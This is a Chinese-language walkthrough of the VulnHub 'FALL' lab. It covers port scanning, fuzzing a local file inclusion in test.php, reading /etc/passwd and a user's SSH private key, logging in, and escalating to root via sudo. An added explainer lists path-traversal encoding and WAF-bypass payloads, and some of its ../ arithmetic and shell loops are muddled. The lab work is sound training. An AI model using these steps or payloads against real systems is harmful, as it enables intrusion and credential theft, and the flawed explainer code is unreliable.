digitalworld.local: FALL靶場

digitalworld.local: FALL

來自 <digitalworld.local: FALL ~ VulnHub>

1,將兩臺虛擬機網絡連接都改為NAT模式

2,攻擊機上做namp局域網掃描發現靶機

nmap -sn 192.168.23.0/24

那么攻擊機IP為192.168.23.182,靶場IP192.168.23.4

3,對靶機進行端口服務探測

nmap -sV -T4 -p- -A 192.168.23.4

端口/協議

狀態

服務名稱

版本/詳細信息

備注

22/tcp

開放

SSH

OpenSSH 7.8 (協議 2.0)

支持三種主機密鑰類型:RSA(2048位)、ECDSA(256位)、ED25519(256位)

80/tcp

開放

HTTP

Apache 2.4.39 (Fedora)

- 標題顯示"Good Tech Inc's Fall Sales"

- robots.txt含1個禁止條目

使用OpenSSL 1.1.0i-fips模塊

139/tcp

開放

NetBIOS-SSN

Samba smbd 3.X - 4.X

工作組:SAMBA

系統時間顯示為2025年(可能配置錯誤)

443/tcp

開放

HTTPS

Apache 2.4.39 (Fedora)

- 使用自簽名SSL證書(CN=localhost.localdomain)

證書有效期:2019-08-15至2020-08-19(已過期)

檢測到CMS Made Simple生成器

445/tcp

開放

NetBIOS-SSN

Samba smbd 4.8.10

工作組:SAMBA

計算機名:FALL

3306/tcp

開放

MySQL

未授權訪問

可能存在安全風險

9090/tcp

開放

Cockpit Web

版本162-188

強制HTTPS重定向

未驗證SSL證書有效性

111/tcp

關閉

rpcbind

-

服務未運行

8000/tcp

關閉

HTTP-alt

-

服務未運行

8080/tcp

關閉

HTTP-proxy

-

服務未運行

8443/tcp

關閉

HTTPS-alt

-

服務未運行

4,掃描一下smb服務

5,訪問80端口存在的http服務

存在兩個人名:qiu,patrick。再掃描爆破網站子目錄

dirsearch -u http://192.168.23.4 -x 404,403

然后掃描識別網站指紋

whatweb -v http://192.168.23.4

訪問掃描到的網站子目錄

http://192.168.23.4/robots.txt

http://192.168.23.4/test.php

提示GET請求參數有問題,需要構造請求參數。模糊測試一下爆破出請求參數

ffuf -u http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wordlists/dirb/big.txt -fs 80

爆出來是file參數

http://192.168.23.4/test.php?file=../../../../../../etc/passwd

文件包含漏洞利用成功

?

在路徑遍歷(Path Traversal)攻擊中,確定?../?的數量(即需要回溯多少層目錄)是一個關鍵步驟,但具體數量取決于?目標應用的上下文路徑?和?服務器的文件系統結構。以下是逐步分析:

1. 基本原理

  • ../?的作用:每個?../?表示向上一級目錄。例如:
    plaintext
    /var/www/html/test.php???? # 當前文件路徑
    ../../../../etc/passwd???? # 需要回溯 4 層到根目錄,再進入 /etc/passwd
  • 目標文件位置:假設目標文件是?/etc/passwd,位于系統的根目錄下,你需要從當前路徑回溯到根目錄,再進入?/etc

2. 為什么示例中使用?6?個?../

在示例命令中:

ffuf -u "http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd" -w wordlist.txt -fs 80

使用?6?個?../?可能是基于以下假設:

  1. 默認 Web 目錄結構:假設?test.php?位于類似?/var/www/html/?的路徑中。
  • /var/www/html/?需要回溯 3 層到根目錄:../../..
  • 再附加?/etc/passwd,總共需要?3 + 1 = 4?個?../(因為?/etc?在根目錄下)。
  • 但為什么示例用 6 個??可能是為了覆蓋更深或更復雜的目錄結構(如容器化環境、多層子目錄)。

3. 如何科學確定?../?的數量?

方法 1:逐步測試不同層數

直接通過?ffuf?動態生成不同數量的?../,觀察響應差異:

# 生成 1-10 個 ../ 進行測試(FUZZ 替換為不同數量的 ../)
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" \
? -w <(for i in {1..10}; do echo "../".repeat($i); done) \
? -fs 80

  • 解釋:通過循環生成?1?到?10?個?../,測試不同層數的有效性。

方法 2:觀察錯誤響應

  1. 觸發錯誤:如果使用的?../?不足,可能返回?404 Not Found?或空內容。
  2. 成功標志:如果成功讀取?/etc/passwd,響應內容中會包含系統用戶信息(如?root:x:0:0:?等字段)。

方法 3:結合已知路徑推斷

  • 如果已知目標服務器的 Web 根目錄(如?/var/www/html),計算到根目錄需要多少層:
    /var/www/html/ → 需要 3 個 ../ 到根目錄
    /opt/app/web/? → 需要 3 個 ../ 到根目錄
  • 在此基礎上附加?/etc/passwd,共需要?3 + 1 = 4?個?../

4. 為什么有時需要更多?../

  • 容器或虛擬環境:目標應用可能運行在嵌套目錄中(如 Docker 容器、多層虛擬化)。
  • 符號鏈接或重定向:服務器配置可能導致實際路徑比預期更深。
  • 冗余回溯:某些應用會過濾固定數量的?../,冗余的?../?可以繞過過濾(如?....//?或?....\/)。

5. 自動化優化技巧

  • 使用占位符模糊測試:直接讓工具自動嘗試不同層數:
    # 使用 ffuf 的 "FUZZ" 占位符動態插入不同數量的 ../
    ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(printf "%s\n" "../" "../.." "../../.." "../../../.." etc.) -fs 80
  • 結合響應長度過濾:通過?-fs?或?-fc?過濾掉固定長度的錯誤響應。

6. 其他注意事項

  1. 操作系統差異
  • Linux:路徑分隔符為?/,目標文件如?/etc/passwd
  • Windows:路徑分隔符為?\,可能需要?..\?或 URL 編碼(如?..%5c)。
  1. 編碼繞過
  • 對?../?進行 URL 編碼(如?%2e%2e%2f)或雙重編碼(如?%252e%252e%252f)。
  • 使用非標準表示(如?....//..\/)。
  1. WAF 繞過
  • 某些 Web 應用防火墻(WAF)會檢測?../,可嘗試以下變種:
    ....//
    ..%252f
    %2e%2e%2f

總結

核心邏輯:通過測試不同數量的?../,找到能成功訪問目標文件的最小層數。

推薦實踐:使用?ffuf?動態生成層數,結合響應內容長度和關鍵詞過濾結果。例如:
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(for i in {1..10}; do echo $(printf "../%.0s" {1..$i}); done) -fs 80 -mr "root:x:0"

  • -mr "root:x:0":匹配響應中包含?root:x:0?的內容(即?/etc/passwd?的標識)

?

6,嘗試利用文件包含漏洞getshell,發現能夠文件包含到qiu用戶的ssh私鑰文件

http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa

wget http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa

mv 'test.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fqiu%2F.ssh%2Fid_rsa' id_rsa

chmod 400 id_rsa

ssh qiu@192.168.23.4 -i id_rsa

登錄成功,信息收集一下

cat .bash_history

這可能是密碼remarkablyawesomE

find / -perm -4000 -print 2>/dev/null

sudo sudo /bin/sh

提權成功,得到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/81787.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/81787.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/81787.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

經典Java面試題的答案——Java 基礎

大家好&#xff0c;我是九神。這是互聯網技術崗的分享專題&#xff0c;廢話少說&#xff0c;進入正題&#xff1a; 1.JDK 和 JRE 有什么區別&#xff1f; JDK&#xff1a;Java Development Kit 的簡稱&#xff0c;java 開發工具包&#xff0c;提供了 java 的開發環境和運行環境…

LabVIEW風機狀態實時監測

在當今電子設備高度集成化的時代&#xff0c;設備散熱成為關鍵問題。許多大型設備機箱常采用多個風機協同散熱&#xff0c;確保系統穩定運行。一旦風機出現故障&#xff0c;若不能及時察覺&#xff0c;可能導致設備損壞&#xff0c;造成巨大損失。為滿足對機箱內風機狀態實時監…

18 C 語言算術、關系、邏輯運算符及 VS Code 警告配置詳解

1 運算符與表達式核心概念 1.1 什么是運算符 運算符是編程和數學中具有特定功能的符號&#xff0c;用于對數據進行運算、賦值、比較及邏輯處理等操作。它們能夠改變、組合或比較操作數的值&#xff0c;進而生成新值或觸發特定動作。 1.2 什么是表達式 表達式是編程和數學中用…

shell腳本之函數詳細解釋及運用

什么是函數 通俗地講&#xff0c;所謂函數就是將一組功能相對獨立的代碼集中起來&#xff0c;形成一個代碼塊&#xff0c;這個代碼可 以完成某個具體的功能。從上面的定義可以看出&#xff0c;Shell中的函數的概念與其他語言的函數的 概念并沒有太大的區別。從本質上講&#…

86.評論日記

再談小米SU7高速爆燃事件_嗶哩嗶哩_bilibili 2025年5月21日14:00:45

Babylon.js學習之路《七、用戶交互:鼠標點擊、拖拽與射線檢測》

文章目錄 1. 引言&#xff1a;用戶交互的核心作用1.1 材質與紋理的核心作用 2. 基礎交互&#xff1a;鼠標與觸摸事件2.1 綁定鼠標點擊事件2.2 觸摸事件適配 3. 射線檢測&#xff08;Ray Casting&#xff09;3.1 射線檢測的原理3.2 高級射線檢測技巧 4. 拖拽物體的實現4.1 拖拽基…

adb抓包

目錄 抓包步驟 步驟 1: 獲取應用的包名 步驟 2: 查看單個應用的日志 步驟 3: 使用日志級別過濾器 步驟 4: 高級日志過濾 可能的原因&#xff1a; 解決方案&#xff1a; 額外提示&#xff1a; 日志保存 抓包步驟 連接設備 adb devices 步驟 1: 獲取應用的包名 首先…

什么是實時流數據?核心概念與應用場景解析

在當今數字經濟時代&#xff0c;實時流數據正成為企業核心競爭力。金融機構需要實時風控系統在欺詐交易發生的瞬間進行攔截&#xff1b;電商平臺需要根據用戶實時行為提供個性化推薦&#xff1b;工業物聯網需要監控設備狀態預防故障。這些場景都要求系統能夠“即時感知、即時分…

百度飛槳OCR(PP-OCRv4_server_det|PP-OCRv4_server_rec_doc)文本識別-Java項目實踐

什么是OCR? OCR&#xff08;Optical Character Recognition&#xff0c;光學字符識別&#xff09;是一種通過技術手段將圖像或掃描件中的文字內容轉換為可編輯、可搜索的文本格式&#xff08;如TXT、Word、PDF等&#xff09;的技術。它廣泛應用于文檔數字化、信息提取、自動化…

Pytorch實現常用代碼筆記

Pytorch實現常用代碼筆記 基礎實現代碼其他代碼示例Networks or ProjectsNetwork ModulesLossUtils 基礎實現代碼 參考 深度學習手寫代碼 其他代碼示例 Networks or Projects SENet學習筆記 SKNet——SENet孿生兄弟篇 GCNet&#xff1a;當Non-local遇見SENet YOLOv1到YOLO…

word通配符表

目錄 一、word查找欄代碼&通配符一覽表二、word替換欄代碼&通配符一覽表三、參考文獻 一、word查找欄代碼&通配符一覽表 序號清除使用通配符復選框勾選使用通配符復選框特殊字符代碼特殊字符代碼or通配符1任意單個字符^?一個任意字符?2任意數字^#任意數字&#…

TYUT-企業級開發教程-第6章

這一章 考點不多 什么是緩存&#xff1f;為什么要設計出緩存&#xff1f; 企業級應用為了避免讀取數據時受限于數據庫的訪問效率而導致整體系統性能偏低&#xff0c;通 常會在應用程序與數據庫之間建立一種臨時的數據存儲機制&#xff0c;該臨時存儲數據的區域稱 為緩存。緩存…

雙檢鎖(Double-Checked Locking)單例模式

在項目中使用雙檢鎖&#xff08;Double-Checked Locking&#xff09;單例模式來管理 JSON 格式化處理對象&#xff08;如 ObjectMapper 在 Jackson 庫中&#xff0c;或 JsonParser 在 Gson 庫中&#xff09;是一種常見的做法。這種模式確保了對象只被創建一次&#xff0c;同時在…

華為網路設備學習-22(路由器OSPF-LSA及特殊詳解)

一、基本概念 OSPF協議的基本概念 OSPF是一種內部網關協議&#xff08;IGP&#xff09;&#xff0c;主要用于在自治系統&#xff08;AS&#xff09;內部使路由器獲得遠端網絡的路由信息。OSPF是一種鏈路狀態路由協議&#xff0c;不直接傳遞路由表&#xff0c;而是通過交換鏈路…

數獨求解器3.0 增加latex格式讀取

首先說明兩種讀入格式 latex輸入格式說明 \documentclass{article} \begin{document}This is some text before oku.\begin{array}{|l|l|l|l|l|l|l|l|l|} \hline & & & & 5 & & 2 & 9 \\ \hline& & 5 & 1 & & 7…

20250520在全志H3平臺的Nano Pi NEO CORE開發板上運行Ubuntu Core16.04.3時跑通4G模塊EC20

1、h3-sd-friendlycore-xenial-4.14-armhf-20210618.img.gz 在WIN10下使用7-ZIP解壓縮/ubuntu20.04下使用tar 2、Win32DiskImager.exe 寫如32GB的TF卡。【以管理員身份運行】 3、TF卡如果已經做過會有3個磁盤分區&#xff0c;可以使用SD Card Formatter/SDCardFormatterv5_WinE…

精益數據分析(74/126):從愿景到落地的精益開發路徑——Rally的全流程管理實踐

精益數據分析&#xff08;74/126&#xff09;&#xff1a;從愿景到落地的精益開發路徑——Rally的全流程管理實踐 在創業的黏性階段&#xff0c;如何將抽象的愿景轉化為可落地的產品功能&#xff1f;如何在快速迭代中保持戰略聚焦&#xff1f;今天&#xff0c;我們通過Rally軟…

Javascript 編程基礎(4)函數 | 4.3、apply() 與 call() 方法

文章目錄 一、apply() 與 call() 方法1、核心概念1.1、call() 方法1.2、apply() 方法 2、使用示例2.1、基本用法2.2、處理 this 指向問題 3、call() 與 apply() 的區別 一、apply() 與 call() 方法 apply() 和 call() 都是 JavaScript 函數對象的方法&#xff0c;用于顯式設置函…

讀一本書第一遍是快讀還是細讀?

在時間充足且計劃對重要書籍進行多遍閱讀的前提下&#xff0c;第一遍閱讀的策略可以結合**「快讀搭建框架」與「標記重點」**&#xff0c;為后續細讀奠定基礎。以下是具體建議及操作邏輯&#xff1a; 一、第一遍&#xff1a;快讀為主&#xff0c;目標是「建立全局認知」 1. 快…

基于大模型的全面驚厥性癲癇持續狀態技術方案

目錄 一、數據收集與預處理系統1.1 多模態數據集成模塊1.2 數據預處理流程二、大模型構建與訓練系統2.1 模型架構設計2.2 訓練流程三、術前評估系統3.1 癲癇發作風險預測3.2 手術可行性評估流程四、術中決策支持系統4.1 實時監測數據處理4.2 麻醉方案優化流程五、術后護理系統5…